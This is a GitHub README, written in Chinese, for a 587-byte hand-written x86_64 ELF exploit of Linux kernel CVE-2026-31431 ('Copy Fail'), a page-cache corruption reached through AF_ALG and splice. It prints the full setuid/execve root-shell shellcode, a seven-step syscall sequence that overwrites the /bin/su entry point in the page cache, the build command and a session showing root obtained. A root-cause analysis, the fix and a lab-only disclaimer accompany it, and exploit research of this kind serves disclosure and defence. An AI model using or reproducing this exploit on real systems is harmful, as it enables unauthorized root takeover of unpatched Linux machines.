Rat5ak/CVE-2026-31431-CopyFail-static-ELF--POC

GitHub: Rat5ak/CVE-2026-31431-CopyFail-static-ELF--POC

针对 Linux 内核 CVE-2026-31431 页缓存损坏漏洞的 587 字节最小化本地提权 PoC,利用 AF_ALG splice 路径实现任意页缓存写入。

Stars: 0 | Forks: 0

# CVE-2026-31431:Copy Fail - 587 字节的静态 ELF 我并没有发现这个漏洞。功劳归于 [Xint Code / Theori](https://xint.io/blog/copy-fail-linux-distributions)。 本仓库是我对将漏洞利用程序做到尽可能小的尝试 —— 一个纯手工编写的 x86_64 ELF,能在 587 字节内完成完整的 LPE。无需 libc,无需链接器,无需运行时。只需 NASM 和一点死磕精神。 实际上,内核通过 AF_ALG + splice 为你提供了一个写入原语,可以写入任何可读文件的页缓存。将其指向一个 setuid 二进制文件的入口点,写入 shellcode,执行该二进制文件,即可获得 root 权限。 关于体积的背景信息:最初公开的 Copy Fail 文章提供了一个微型 Python 版本,体积为 732 字节。这已经非常酷了,但它仍然依赖于系统中存在 Python 运行时。更小的是 https://kopy.fail,仅有 524 字节。 然而,这个版本是一个原生静态 ELF:没有解释器,没有 libc,没有链接器,没有动态加载器。(我妈妈觉得这很酷) | | | |------------|-----------------------------------------------------------------| | CVE | CVE-2026-31431 | | 漏洞类型 | 通过 splice 别名导致的页缓存损坏 | | 根本原因 | `af_alg_sendpage` / splice 进入 AEAD 请求时,将页缓存页面别名化为 crypto scatter-gather 输出 | | 组件 | `crypto/af_alg.c` + `crypto/algif_aead.c` | | 影响 | 将受控字节写入任何可读文件的页缓存 | | 前置条件 | 本地用户,可访问的 AF_ALG/AEAD 支持,可读的 setuid 目标 | | 漏洞利用 | 587 字节的静态 ELF (x86_64),单文件,零依赖 | ## 漏洞详情 AF_ALG 允许用户空间通过套接字进行内核加密。对于像 `authencesn` 这样的 AEAD 密码,内核通过带有 `MSG_MORE` 标志的 `sendmsg` 接收数据,然后你可以从文件描述符中 splice 更多数据进来。 最离谱的地方在于:当你 splice 一个文件时,内核会将该文件的页缓存页面直接固定到 crypto scatter-gather 列表中。然后 AEAD 操作会将其输出写回这些相同的页面。内核以为它提供给加密模块的是一个只读缓冲区,而加密模块以为它获得的是一个可写缓冲区。中间没有任何拷贝操作。 你作为 AAD 元数据输入的字节,最终会通过页缓存变得可见。任何后续对该文件的读取 —— 无论是哪个进程、哪个用户,包括 suid 程序执行时 —— 都会看到被损坏的数据。磁盘上的文件原封不动,只有内存中的页缓存视图发生了改变。 ## 命名 Copy Fail 是页缓存/COW 家族诅咒在 AF_ALG 中的又一次发作。它与 Dirty COW (CVE-2016-5195) 属于同一谱系 —— “内核允许你写入本应只能读取的内容” —— 但它是通过 crypto splice 路径实现的,而不是 madvise/write 竞争。 ## 漏洞利用 目标:Debian Bookworm 上的 `/bin/su`(包括 kernelCTF rootfs)。ELF 入口点位于文件偏移量 `0x3910` 处。 28 字节的 shellcode 将其变成了一个 root shell dropper: ``` ; setuid(0) - 7 bytes 31 ff xor edi, edi 6a 69 push 105 58 pop rax 0f 05 syscall ; execve("/bin/sh", NULL, NULL) - 21 bytes 99 cdq 31 f6 xor esi, esi 48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0" 53 push rbx 54 push rsp 5f pop rdi 6a 3b push 59 58 pop rax 0f 05 syscall ``` AEAD 原语每次操作只给你 4 个字节 —— 一块 32 位的 AAD 会落在 splice 偏移处。28 字节的 shellcode ÷ 4 = 需要经过 7 次内核加密栈的处理。每次迭代: 1. `socket(AF_ALG)` + 使用 `authencesn(hmac(sha1),cbc(aes))` 进行 `bind` 2. `setsockopt` 设置密钥和 auth tag 大小 3. `accept` 获取请求 fd 4. 带有 `MSG_MORE` 的 `sendmsg` - 8 字节的 iov 包含 4 字节的 AAD 填充数据 + 4 字节的 shellcode 5. 从 `/bin/su` 通过管道 `splice` 进入请求 fd(定位页缓存页面) 6. `recvfrom` - 触发 AEAD 处理,损坏页缓存 7. 关闭所有内容(至关重要 - 陈旧的 AF_ALG 状态会破坏后续的 splice 操作) 经过所有 7 次迭代后,执行 `execve("/bin/su")`。内核从已损坏的页缓存中加载它。执行流跳转到被覆盖的入口点。获得 root shell。 ## 二进制文件 总共 587 字节。其中 120 字节是 ELF 头(没有它内核不会加载你),因此实际的漏洞利用逻辑是 467 字节的机器代码和数据。 以下是它们在 ELF 头中的分布位置: ``` Offset Field Actual use ------ ----- ---------- 0x00 e_ident[0:8] magic + ELF class (mandatory) 0x08 e_ident[8:16] crypto key material (kernel ignores these bytes) 0x28 e_shoff "/bin/su\0" string (kernel ignores for ET_EXEC) ``` 内核只关注 `e_ident[0:7]`、`e_type`、`e_machine`、`e_entry`、`e_phoff`、`e_phnum` 以及 phdr 本身。其他所有内容都是可自由利用的空间。 其他减小体积的技巧: - 单个 RWX PT_LOAD 段,为 88 字节的 sockaddr_alg 提供 BSS 段(内核会将其清零) - 所有系统调用都编码为 `push imm8 / pop rax / syscall`(每个占 3 字节) - r14 中的循环计数器从 24 递减到 0(步长 -4),同时兼作 shellcode 的索引 - 所选的寄存器都能在系统调用中保留其值(r12=target_fd,r15=alg_fd,rbp=req_fd,rbx=shellcode_base),这样我们就不用浪费字节数去重新加载它们 ### 从 584 到 587 字节的故事 第一个可运行的版本是 584 字节。它为第二次 splice 调用使用了 `mov ax, 275`(比 `mov eax, 275` 短 2 个字节)。这相当于在赌博,赌第一次 splice 总是成功 —— 如果它返回一个负数的错误码,rax 的高 48 位将保持被设置的状态,而 `mov ax, 275` 只会覆盖底部的 16 位。这样一来,第二次 splice 的系统调用号就变成了垃圾值。 在我的测试内核上它总是能成功。但“在测试中总是能成功”并不是发布一个 bug 的好理由,如果有人在一个因内存紧张导致 splice 返回 EAGAIN 的系统上运行它,漏洞利用程序只会发生段错误,而没有任何关于出了什么问题的提示。所以我吃下了这多出来的 3 个字节。 此外,还不得不在最终的 `execve` 之前添加了 `xor esi, esi`,因为 `recvfrom` 会用缓冲区地址覆盖 rsi。如果没有这条指令,execve 会得到一个无效的 argv 指针。这又多了一个字节。 ## 构建 ``` nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3 ``` 需要 NASM。直接生成漏洞利用二进制文件 - 无需链接步骤。 ## 使用方法 ``` $ id uid=1000(user) gid=1000(user) groups=1000(user) $ ./copy_fail_v3 # id uid=0(root) gid=0(root) groups=0(root) ``` 耗时不到一秒。成功时没有任何输出 - 只有一个 root shell。 ## 受影响的内核 需要 `CONFIG_CRYPTO_USER_API_AEAD`(内建或已加载的模块)以及 `algif_aead` 中未修复的就地 splice 路径。这段有问题的代码路径可以追溯到 2017 年的一次优化。请检查你所使用的发行版的内核配置和补丁状态。 ## 修复方案 该修复移除了就地写入路径,改为拷贝 splice 源页面,而不是将其别名化到 crypto scatter-gather 列表中。页缓存的隔离性由此得以恢复。 ## 免责声明 这是一个 KernelCTF/实验室环境下的产物。请仅在您拥有或已获得明确测试权限的系统上运行它。如果您负责防御 Linux 服务器,请修补内核或限制 AF_ALG/algif_aead 模块的加载。 Daniel Wade - [GitHub](https://github.com/Rat5ak) · [Twitter/X](https://x.com/Nadsec11) · [Bluesky](https://bsky.app/profile/nadsec.online) · [nadsec.online](https://nadsec.online/)
标签:0day, AEAD, AF_ALG, CVE, CVE-2026-31431, Linux内核, LPE, NASM, Page Cache, SetUID, Splice, Web报告查看器, x86_64, 二进制精简, 任意文件写入, 内核漏洞, 子域名枚举, 安全报告生成, 底层安全, 快速连接, 提权, 数字签名, 数据展示, 本地提权, 汇编语言, 漏洞复现, 系统安全, 红队, 网络安全, 隐私保护, 静态ELF